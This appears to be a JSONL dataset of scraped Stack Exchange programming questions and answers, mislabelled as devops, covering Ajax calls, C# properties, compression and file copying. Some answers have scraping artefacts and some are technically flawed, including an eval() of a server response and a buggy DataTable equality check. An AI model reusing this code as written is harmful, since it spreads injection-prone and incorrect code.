{"id": "hf_c1da1aa21f83", "question": "<p>I am using the following function to load a PlayList of Songs from 'PlayListJSON.aspx' but somethings seems wrong,evrytime OnFailure is getting called, I am unable to debug it further. any help would be really gr8.</p>\n\n<pre><code>Player.prototype.loadPlaylist = function(playlistId, play) {\n  req = new Ajax.Request('/PlaylistJSON.aspx?id=' + playlistId, {\n    method: 'GET',\n    onSuccess: function(transport, json) {\n      eval(transport.responseText);\n\n      player.setPlaylist(playlist.tracklist, playlist.title, playlistId);\n      player.firstTrack();\n\n      if (play) player.playSong();\n    },\n    onFailure: function() {\n      //error\n    }\n  });\n}\n</code></pre>\n", "question_body": "", "answer": "Generally, OnFailure gets called when the page you are calling out to can't be reached for some reason.\nAre you positive that the URL\n/PlaylistJSON.aspx\nis valid?\nHave you tried passing the parameters argument instead of specifying them as part of the url?\n```\n```\nreq = new Ajax.Request('/PlaylistJSON.aspx', \n    { \n\n        method: 'GET',    \n        parameters:  {\n                     'id': playlistId\n                     },\n        onSuccess: function(transport,json){                                                                                    \n\n            eval(transport.responseText);                              \n\n            player.setPlaylist(playlist.tracklist,playlist.title, playlistId);\n            player.firstTrack();\n\n            if (play)\n                player.playSong();  \n\n         },\n         onFailure: function() {\n           //error\n\n         }\n     });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.489301"}
{"id": "hf_b45447e67d81", "question": "<p>For example, say one was to include a 'delete' keyword in C# 4. Would it be possible to guarantee that you'd never have wild pointers, but still be able to rely on the garbage collecter, due to the reference-based system?</p>\n\n<p>The only way I could see it possibly happening is if instead of references to memory locations, a reference would be an index to a table of pointers to actual objects. However, I'm sure that there'd be some condition where that would break, and it'd be possible to break type safety/have dangling pointers.</p>\n\n<p>EDIT: I'm not talking about just .net. I was just using C# as an example.</p>\n", "question_body": "", "answer": "With garbage collection, as long as you have a referenced reference to the object, it stays alive. With manual delete you can't guarantee that.\nExample (pseudocode):\n```\n```\nobj1 = new instance;\nobj2 = obj1;\n\n// \n\ndelete obj2;\n// obj1 now references the twilightzone.\n```\n```\nJust to be short, combining manual memory management with garbage collection defeats the purpose of GC. Besides, why bother? And if you really want to have control, use C++ and not C#. ;-).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.514462"}
{"id": "hf_a187c749ed8d", "question": "<p>I'm using Visual Studio icon library (VS2008ImageLibrary), there are some BMP files with a pink background. How can I make the pink background become transparent? What software can I use to do this? Any free one? </p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I used IrfanView's batch conversion tool. It's still some work, because you have to click the pink area on every single icon instead of just specifying pink as transparent color, but it worked. It would be easy to write a simple conversion tool using GDI+ though, which I considered as well.\nNote that even though you can use them then as transparent images, many of them unfortunately still have ugly edges when you render them on a dark background or use them as overlay. If you just want very few of them, consider tweaking them individually if you think you'll not always have a bright background.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.538100"}
{"id": "hf_79b349f20884", "question": "<p>I need to compare the integer part of two doubles for inequality and I'm currently doing this:</p>\n\n<pre><code>int iA = (int)dA;\nint iB = (int)dB;\n\nif( iA != iB )\n{\n    ...\n}\n</code></pre>\n\n<p>but I wonder if there's a better approach than this.</p>\n\n<p>Thanks.</p>\n\n<p>If I used Math.Truncate() instead of a cast to int, would it still be accurate to compare the two resulting double values for equality?</p>\n\n<p>About the hungarian notation comments:</p>\n\n<p>I never use HN myself, not at least in the way most of people do. But this is one of these rare cases where the semantic of a variable directly relates to its type. I could have chosen another syntax like  A_As_Integer and B_As_NonInteger but what would have been the difference then?</p>\n", "question_body": "", "answer": "Yes, that is best approach.\nAssuming from your wording in you question you arent worried about rounding... just the integerr part itself.\nie. (int)4.1  will give the same result as (int)4.9\nAs Ovid stated, if you only need the variables for the comparison, then you will only need to cast the doubles in the comparison statement. I was looking only at the theory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.561517"}
{"id": "hf_b9e99eb0213d", "question": "<p>I remember reading somewhere that you can provide your own icons without having them pass them through the automatic gloss effect when compiling an iphone app, but I can't remember how to do it, and not sure where it was in the docs. Anyone here remembers?</p>\n\n<p>thanks!</p>\n", "question_body": "", "answer": "Add the \"UIPrerenderedIcon\" to your info.plist file, change it to be a boolean and make it true. (In 2.0 of the iPhone OS you could also leave it as a string and use YES or NO, but that no longer works in 2.1.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.670769"}
{"id": "hf_ff9e8f44919a", "question": "<p>Are there any usable implementations of Smalltalk for the .NET runtime?</p>\n", "question_body": "", "answer": "There's a project to build Smalltalk on top of the DLR. Unsurprisingly, it's called\nIronSmaltalk\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.732816"}
{"id": "hf_fb2e90985e87", "question": "<p>I would be interested to learn about large scale development in Python and especially in how do you maintain a large code base?</p>\n\n<ul>\n<li><p>When you make incompatibility changes to the signature of a method, how do you find all the places where that method is being called. In C++/Java the compiler will find it for you, how do you do it in Python?</p></li>\n<li><p>When you make changes deep inside the code, how do you find out what operations an instance provides, since you don't have a static type to lookup?</p></li>\n<li><p>How do you handle/prevent typing errors (typos)?</p></li>\n<li><p>Are UnitTest's used as a substitute for static type checking?</p></li>\n</ul>\n\n<p>As you can guess I almost only worked with statically typed languages (C++/Java), but I would like to try my hands on Python for larger programs. But I had a very bad experience, a long time ago, with the clipper (dBase) language, which was also dynamically typed.</p>\n", "question_body": "", "answer": "my 0.10 EUR:\ni have several python application in 'production'-state. our company use java, c++ and python. we develop with the eclipse ide (pydev for python)\nunittests are the key-solution for the problem.\n(also for c++ and java)\nthe less secure world of \"dynamic-typing\" will make you less careless about your code quality\nBY THE WAY\n:\nlarge scale development doesn't mean, that you use one single language!\nlarge scale development often uses\na handful of languages specific to the problem\n.\nso i agree to\nthe-hammer-problem\n:-)\nPS:\nstatic-typing & python", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.774852"}
{"id": "hf_628eacff4c4f", "question": "<p>What is the best compression algorithm that allows random reads/writes in a file?</p>\n\n<p>I know that any adaptive compression algorithms would be out of the question.</p>\n\n<p>And I know huffman encoding would be out of the question.</p>\n\n<p>Does anyone have a better compression algorithm that would allow random reads/writes?</p>\n\n<p>I think you could use any compression algorithm if you write it in blocks, but ideally I would not like to have to decompress a whole block at a time.   But if you have suggestions on an easy way to do this and how to know the block boundaries, please let me know. If this is part of your solution, please also let me know what you do when the data you want to read is across a block boundary?</p>\n\n<p>In the context of your answers please assume the file in question is 100GB, and sometimes I'll want to read the first 10 bytes, and sometimes I'll want to read the last 19 bytes, and sometimes I'll want to read 17 bytes in the middle. .</p>\n", "question_body": "", "answer": "I don't know of any compression algorithm that allows random reads, never mind random writes. If you need that sort of ability, your best bet would be to compress the file in chunks rather than as a whole.\ne.g.\nWe'll look at the read-only case first. Let's say you break up your file into 8K chunks. You compress each chunk and store each compressed chunk sequentially. You will need to record where each compressed chunk is stored and how big it is. Then, say you need to read N bytes starting at offset O. You will need to figure out which chunk it's in (O / 8K), decompress that chunk and grab those bytes. The data you need may span multiple chunks, so you have to deal with that scenario.\nThings get complicated when you want to be able to write to the compressed file. You have to deal with compressed chunks getting bigger and smaller. You may need to add some extra padding to each chunk in case it expands (it's still the same size uncompressed, but different data will compress to different sizes). You may even need to move chunks if the compressed data is too big to fit back in the original space it was given.\nThis is basically how compressed file systems work. You might be better off turning on file system compression for your files and just read/write to them normally.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.813446"}
{"id": "hf_7f2e7428a832", "question": "<p>I'm working in a small company and weeks away from deploying a web-app that will be used a lot.  Everyone at one location will have to learn to use it, and although I think it's pretty easy and intuitive I may be biased.<br>\nI've written a help guide with plenty of screenshots that's available on every page, but I'll still need to train everyone.  What's the best way?  How do you take a step back and explain code you've been working on for weeks?</p>\n", "question_body": "", "answer": "First try to avoid the training:\nPerform\nusability testing\nto ensure your web app is intuitive. Usability testing is a very important aspect of testing and it is often ignored.  How you see your system will probably be very different as how a new user sees your system.\nAlso add contextual help as often as you can.  For example when I hover over a tag in stack overflow, I know exactly what clicking it will do, because it tells me.\nAlso this may seem obvious, but make sure you link to your documentation from the site itself.  People may not think of looking in your documentation unless its right in front of their eyes.\nAbout training documentation:\nTry to split up your material into how your users would use the system.  I personally like the \"trails\" option that Sun created for their\nJava tutorials\n.  In this tutorial you can do several things, and you can chose on which trail you'd like to go.\nSupport random reads in your help documentation.  If they have a task to do in your web app, then they should be able to get help on that without reading a bunch of unrelated content.\nMake sure your documentation is searchable.\nAbout actual training sessions:\nIf you are actually performing training sessions, stay away from explaining anything related to your code at all.   You don't need to know about the engine to drive a car.\nTry to split up your training sessions into very focused aspects of your system.  If you only have 1 training session available to you then just do one specialized use case of your system + the overall description of the system.  Refer to the different parts of documentation where they can get help.\nLetting the community help itself:\nNo matter how extensive your documentation is, you'll always have cases that you didn't cover.  That's why it's a good idea to have a forum available to all users of the system.  Allow them to ask each other questions.\nYou can review this forum and add content to your documentation as needed.\nYou could also open up a wiki for the documentation itself, but this is probably not desirable if your user base isn't very large.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.837630"}
{"id": "hf_89b7d08cfed6", "question": "<p>Or is there a chance that the operation will fail?</p>\n\n<p>Thanks.</p>\n\n<p>I chose the wrong term and what I really meant was rounding to 0, not truncation.</p>\n\n<p>The point is, I need to compare the integer part of two doubles and I'm just casting them to int and then using ==, but, as someone pointed out in one of my earlier questions, this could throw an overflow exception if the double can't fit into the integer.</p>\n\n<p>So the question would be 'Is it correct to use the == operator to compare two doubles that have previously been rounded to 0, or should I stick to the casting to int method and catch a possible exception?</p>\n", "question_body": "", "answer": "It can still fail due to the normal problems with floating point representation.  Rather than truncating them, use a delta that would represent the equivalent precision.\nIt can fail in cases where you have two floats that you would normally consider the same,\n10.19999999\n10.20000001\nbut when you truncate them they give different results.\n10.19\n10.20\nWhereas, if I had used a delta of 0.001 to compare to the difference, I would have seen that these two values are effectively the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.873206"}
{"id": "hf_8ca6064b964b", "question": "<p>In honor of the <a href=\"http://prize.hutter1.net/\" rel=\"noreferrer\">Hutter Prize</a>, \nwhat are the top algorithms (and a quick description of each) for text compression?</p>\n\n<p>Note: The intent of this question is to get a description of compression algorithms, not of compression programs.</p>\n", "question_body": "", "answer": "There's always\nlzip\n.\nAll kidding aside:\nWhere compatibility is a concern, PKZIP (\n```\nDEFLATE\n```\nalgorithm) still wins.\nbzip2 is the best compromise between being enjoying a relatively broad install base and a rather good compression ratio, but requires a separate archiver.\n7-Zip\n(\n```\nLZMA\n```\nalgorithm) compresses very well and is available for under the LGPL. Few operating systems ship with built-in support, however.\nrzip\nis a variant of bzip2 that in my opinion deserves more attention. It could be particularly interesting for huge log files that need long-term archiving. It also requires a separate archiver.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.897003"}
{"id": "hf_0466a10b3ca8", "question": "<p>When I type the following code in Emacs ruby-mode, the \"#{foo}\" is fontified in a different color than the enclosing string.  How do I do this in my own Emacs mode?  I tried to decipher the ruby-mode source code but couldn't understand it in a reasonable amount of time.</p>\n\n<pre><code>\"a #{foo} a\"\n</code></pre>\n", "question_body": "", "answer": "Search for where ruby-mode.el sets\n```\nfont-lock-syntactic-keywords\n```\n:\n```\n```\n(setq ruby-font-lock-syntactic-keywords\n  '(\n    ;; #{ }, #$hoge, #@foo are not comments\n    (\"\\\\(#\\\\)[{$@]\" 1 (1 . nil))\n```\n```\nHere's some documentation on the similar\n```\nfont-lock-keywords\n```\nvariable, which is what you should use to accomplish the same type of fontification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.927050"}
{"id": "hf_6ad10a5ec25e", "question": "<p>I know that there has been a couple questions about tutorials on rhino-mocks. But I am wondering if there are any sample apps out there that use rhino-mocks in the context of an n-tier business application using ado.net. </p>\n\n<p>I find the tutes good, but they don't seem to bring everything all together into the big picture. Thus, I am looking for a sample app that brings the full picture together.</p>\n\n<p>Also, I think there is a little bit of a lack of examples which specifically deal with mocking and testing the logic in the data access layer.</p>\n\n<p>Cheers\nAnthony</p>\n", "question_body": "", "answer": "Rhino Mocks Documentation\nTDD : Introduction to Rhino Mocks\nUsing Google you will fine more.\nYou should try to understand mocking, and that it's purpose is to make testing possible by\nMocking\nsome lower layer. It provides means of splitting\nbig picture\nin lots of independent smaller pictures. That way you are able to test business layer without hitting database.\nStackoverflow: What is a mock and when should you use it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.956734"}
{"id": "hf_f423c8c50b0c", "question": "<p>I'd like to do the same in C#. Is there anyway of using properties in C# with parameters in the same way I've done with the parameter 'Key' in this VB.NET example?</p>\n\n<blockquote>\n<pre><code>Private Shared m_Dictionary As IDictionary(Of String, Object) = New Dictionary(Of String, Object)\n</code></pre>\n</blockquote>\n\n<pre><code>Public Shared Property DictionaryElement(ByVal Key As String) As Object\n    Get\n        If m_Dictionary.ContainsKey(Key) Then\n            Return m_Dictionary(Key)\n        Else\n            Return [String].Empty\n        End If\n    End Get\n    Set(ByVal value As Object)\n        If m_Dictionary.ContainsKey(Key) Then\n            m_Dictionary(Key) = value\n        Else\n            m_Dictionary.Add(Key, value)\n        End If\n\n    End Set\nEnd Property\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Is there anyway of using properties in C# with parameters\nNo. You only can provide the\ndefault\nproperty in C# with an argument, to model indexed access (as in a dictionary):\n```\n```\npublic T this[string key] {\n    get { return m_Dictionary[key]; }\n    set { m_Dictionary[key] = value; }\n}\n```\n```\nOther properties can't have arguments. Use a function instead. By the way, it's recommented to do the same in VB so other .NET languages (C# …) can use your code.\nBy the way, your code is unnecessarily complicated. Four things:\nYou don't need to escape the\n```\nString\n```\nidentifier. Use the keyword directly.\nWhy not use\n```\n\"\"\n```\n?\nUse\n```\nTryGetValue\n```\n, it's faster. You query the dictionary twice.\nYour setter doesn't have to test whether the value already exists.\n```\n```\nPublic Shared Property DictionaryElement(ByVal Key As String) As Object\n    Get\n        Dim ret As String\n        If m_Dictionary.TryGetValue(Key, ret) Then Return ret\n        Return \"\" ' Same as String.Empty! '\n    End Get\n    Set(ByVal value As Object)\n        m_Dictionary(Key) = value\n    End Set\nEnd Property\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.031262"}
{"id": "hf_f0856836c5ab", "question": "<p>I want to be able to selectively copy a list of files and preserve their directory structure.  The problem is that there are quite a few files that their path exceeds 256 character.  How is this problem usually handled?</p>\n\n<p>Edit:\nI should make it clear that I only want to selectively copy files, not folders.  I don't think robocopy can be efficiently used to copy an individual file and it's folder structure effectively.</p>\n", "question_body": "", "answer": "I wrote a VBscript that checks path length and calls\n```\nsubst\n```\n, as soon as  a certain threshold is reached. These calls are stacked on each other so that in the middle of a recursion, this layout exists:\n```\n```\nC:\\a\\very\\long\\path\nsubst K: \"C:\\a\\very\\long\\path\"\n\nK:\\another\\very\\long\\path\nsubst L: \"K:\\another\\very\\long\\path\"\n\nL:\\yet\\another\\very\\long\\path\nsubst M: \"L:\\yet\\another\\very\\long\\path\"\n\nxcopy M:\\*.* \"D:\\target\"\n```\n```\nThis way with each level of subst, a shorter path is generated. It also means, that you must copy your folders sequentially, to be able check for long paths before you issue the copy command.\nOnce all files in a folder are copied, the recursion does jump back one level (\n```\nsubst /d\n```\n), freeing up one drive letter.\nUsing 4-5 drive letters, that subst each other when the path gets to deep I had been able to copy paths that had lengths waaaaay over the MAX_PATH limit.\nEDIT\nThis describes the general procedure of doing it with subst. How you do it depends on your needs, I always used that little subst trick in a minimal, \"solves this single problem\" way.\nFor example, copying to an equally deep target path means you need another stack of subst'ed drive letters.\nUnpacking all .zip files within a single, deeply nested directory structure may require only on stack, but you need to shorten the threshold a bit to account for folders in the .zip, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.055777"}
{"id": "hf_1c2dc9b4fc41", "question": "<p>How do I get the directory where the rakefile.rb is located?</p>\n\n<p>I want to use this as my root directory to locate everything off.</p>\n", "question_body": "", "answer": "If this is a RoR app your Rakefile.rb should be in your RAILS_ROOT directory.  So in any script you can specify file location like\n```\n```\nconfig.load_paths += %W( #{RAILS_ROOT}/extras )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.080698"}
{"id": "hf_07f7a904f74b", "question": "<p>I built an application which displays the records from database in the window and checks the the database for new records every couple of seconds. The problem is that the window blinks each time I check for new records and I want to fix it. I have tried to compare the old datatable with the new one and refresh only if they are different.\nDoes anyone know what is the best practice for such cases? I tried to do it the following way but it doesn't work:</p>\n\n<pre><code>private bool GetBelongingMessages()\n        {\n            bool result = false;\n            DataTable dtTemp = OleDbWorks.GetBelongingMessages(currentCallID);\n            if(dtTemp != dtMessages)\n            {\n                dtMessages = dtTemp;\n                result = true;\n            }\n            else\n            {\n                result = false;\n            }\n            return result;\n        }\n</code></pre>\n", "question_body": "", "answer": "First off, it's important to recognize that what you're comparing in your code is the\nreferences\nof the datatables, not the\ncontents\nof the datatables.  In order to determine if both datatables have the same contents, you're going to have to loop through all of the rows and columns and see if they're equal:\n```\n```\n//This assumes the datatables have the same schema...\n        public bool DatatablesAreSame(DataTable t1, DataTable t2) {         \n            if (t1.Rows.Count != t2.Rows.Count)\n                return false;\n\n            foreach (DataColumn dc in t1.Columns) {\n                for (int i = 0; i < t1.Rows.Count; i++) {\n                    if (t1.Rows[i][dc.ColumnName] != t2.Rows[i][dc.ColumnName]) {\n                        return false;\n                    }\n                }\n            }\n            return true;\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.106113"}
{"id": "hf_2e6d712edeb7", "question": "<p>I am using C# 2.0 with Nunit Test. I have some object that needs to be serialized. These objects are quite complex (inheritance at different levels and contains a lot of objects, events and delegates).</p>\n\n<p>How can I create a Unit Test to be sure that my object is safely serializable?</p>\n", "question_body": "", "answer": "I have this in some unit test here at job:\n```\n```\nMyComplexObject dto = new MyComplexObject();\nMemoryStream mem = new MemoryStream();\nBinaryFormatter b = new BinaryFormatter();\ntry\n{\n    b.Serialize(mem, dto);\n}\ncatch (Exception ex)\n{\n    Assert.Fail(ex.Message);\n}\n```\n```\nMight help you... maybe other method can be better but this one works well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.159889"}
{"id": "hf_fd3d976d9124", "question": "<p>Given a large API (an in particular, the Java or J2EE standard libraries), is there a tool or search engine or other resource that can tells me which methods, classes, or even packages people in general tend to use the most?\nI am annotating (see below) APIs and would like to focus my attention on popular areas.\nThe only thing I can think of is using google code with different method names but that is of course tedious. </p>\n\n<p>Some background (if anyone is interested): As part of my PhD research I've developed a <a href=\"http://emoose.cs.cmu.edu\" rel=\"noreferrer\">tool</a> that allows users to highlight important \"directives\" in method documentation (their own or in existing APIs) and then pushes these annotations to users to increase chances that they become aware of it. Our lab studies show that this has potential, but to get people to use it in the field I have to provide \"corpuses\" of annotated APIs and I'm trying to prioritize which libraries to annotate. </p>\n", "question_body": "", "answer": "I wouldn't know if such statistics are even feasible, but I think a pretty safe bet would be to start with the basics plus some famous third party libraries. For example:\nCollections\nRegular Expressions\nNetworking\nReflection\nSwing\n(and\nAWT\n)\nAs for third parties\nJoda Time\nApache Commons\nJetty\n(Servlet container, but usually embedded)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.184293"}
{"id": "hf_995f9548fc95", "question": "<p>For instance in the snippet below - how do I access the h1 element knowing the ID of parent element (header-inner div)?</p>\n\n<pre><code>&lt;div id='header-inner'&gt; \n   &lt;div class='titlewrapper'&gt; \n      &lt;h1 class='title'&gt; \n      Some text I want to change\n      &lt;/h1&gt; \n   &lt;/div&gt; \n&lt;/div&gt;\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\nfunction findFirstDescendant(parent, tagname)\n{\n   parent = document.getElementById(parent);\n   var descendants = parent.getElementsByTagName(tagname);\n   if ( descendants.length )\n      return descendants[0];\n   return null;\n}\n\nvar header = findFirstDescendant(\"header-inner\", \"h1\");\n```\n```\nFinds the element with the given ID, queries for descendants with a given tag name, returns the first one. You could also loop on\n```\ndescendants\n```\nto filter by other criteria; if you start heading in that direction, i recommend you check out a pre-built library such as jQuery (will save you a good deal of time writing this stuff, it gets somewhat tricky).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.213020"}
{"id": "hf_5c27b8e4a956", "question": "<p>I want my Qt application to be able to save simple vector graphics to clipboard in a compatible way. On windows I want to be able to paste the graphics into Microsoft Word or Powerpoint. On Linux I want to be compatible with the Open Office. </p>\n\n<p>Which format would you recommend? Can Qt generate EMF in an easy way? Is SVG an option?</p>\n\n<p>Update:</p>\n\n<p>My current plan is to add a piece of native win32 code to render the graphics to emf on windows. This code will not be available on linux. </p>\n", "question_body": "", "answer": "The QGraphicsView\nclass and its associated helpers can render to a QT metafile format through the\nQPicture\nclass (for which you could write a translator to EMF), to SVG through the\nQSVGGenerator\nclass and to postscript/pdf through\nQPrinter\n.  It can also render to bitmap formats and various other targets.\nAFAIK it doesn't have a generic 'render to EMF' facility - you would have to write to something else like the QT Metafile and convert to EMF.  If you only need a subset of the graphics primitives you might only need to support that subset in the translator.  Otherwise you could go from SVG, which you can get directly from QT through QSVGGenerator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.236321"}
{"id": "hf_b88a00ce3f9f", "question": "<p>I may be in the minority here, but I very much enjoy <a href=\"https://perldoc.perl.org/perlform\" rel=\"nofollow noreferrer\">Perl's formats</a>.  I especially like being able to wrap a long piece of text within a column (&quot;~~  ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&quot; type stuff).  Are there any other programming languages that have similar features, or libraries that implement similar features?  I am especially interested in any libraries that implement something similar for Ruby, but I'm also curious about any other options.</p>\n", "question_body": "", "answer": "There is the\nLisp\n```\n(format ...)\n```\nfunction\n. It supports looping, conditionals, and a whole bunch of other fun stuff.\nfor example (copied from above link):\n```\n```\n(defparameter *english-list*\n  \"~{~#[~;~a~;~a and ~a~:;~@{~a~#[~;, and ~:;, ~]~}~]~}\")\n\n(format nil *english-list* '())       ;' ==> \"\"\n(format nil *english-list* '(1))      ;' ==> \"1\"\n(format nil *english-list* '(1 2))    ;' ==> \"1 and 2\"\n(format nil *english-list* '(1 2 3))  ;' ==> \"1, 2, and 3\"\n(format nil *english-list* '(1 2 3 4));' ==> \"1, 2, 3, and 4\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.260631"}
{"id": "hf_50574e33013f", "question": "<p>I have a web page that displays a long line graph inside a div with overflow-x: scroll.\nThis works well as a web page allowing the use to scroll back and forward through the graph.</p>\n\n<p>However, when printing the page the scroll position is reset to zero.\nIs there a way to overcome this?</p>\n", "question_body": "", "answer": "I think you're going to have to specify an alternate CSS for printing where you somehow need to remove the overflow:\n```\n```\n<link rel=\"stylesheet\" type=\"text/css” href=\"sheet.css\" media=\"print\" />\n```\n```\nHowever, maybe there is an approach with JavaScript or even Flash? If I understand correctly, you only want to have a part of the graph printed (the one \"selected\" by the user?) and not the full one? I'm pretty sure that's not possible with plain HTML/CSS, but I strongly believe that Flash or maybe JavaScript/AJAX (to only load a part of the image at a time) can solve it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.284410"}
{"id": "hf_63da012585e0", "question": "<p>Please help me with a sanity check. Assuming a many-to-many relationship:</p>\n\n<p><a href=\"http://www.codingthewheel.com/pics/many_to_many.gif\" rel=\"nofollow noreferrer\">Post, PostTagAssoc, Tag http://www.codingthewheel.com/pics/many_to_many.gif</a></p>\n\n<p>What's the most succinct way (using LINQ to SQL) to get a result set showing, for <strong>each</strong> tag (or post), the aggregate number of posts (or tags) assigned to it?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\nfrom pta in db.PostTagAssoc\n group pta by pta.PostID into t\n select new {PostID = t.Key, TagCount=t.Count()}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.308110"}
{"id": "hf_d068550ec60a", "question": "<p>How to cancel a keypress event in a textbox after pressing the return key.</p>\n", "question_body": "", "answer": "Set the Handled property of KeyPressEventArgs handler parameter to true.\nExample from msdn:\n```\n```\nprivate void keypressed(Object o, KeyPressEventArgs e)\n{\n    if (e.KeyChar == (char)Keys.Return)\n    {\n        e.Handled = true;\n    }\n}\n```\n```\nSee\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.keypresseventargs.handled.aspx\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.370002"}
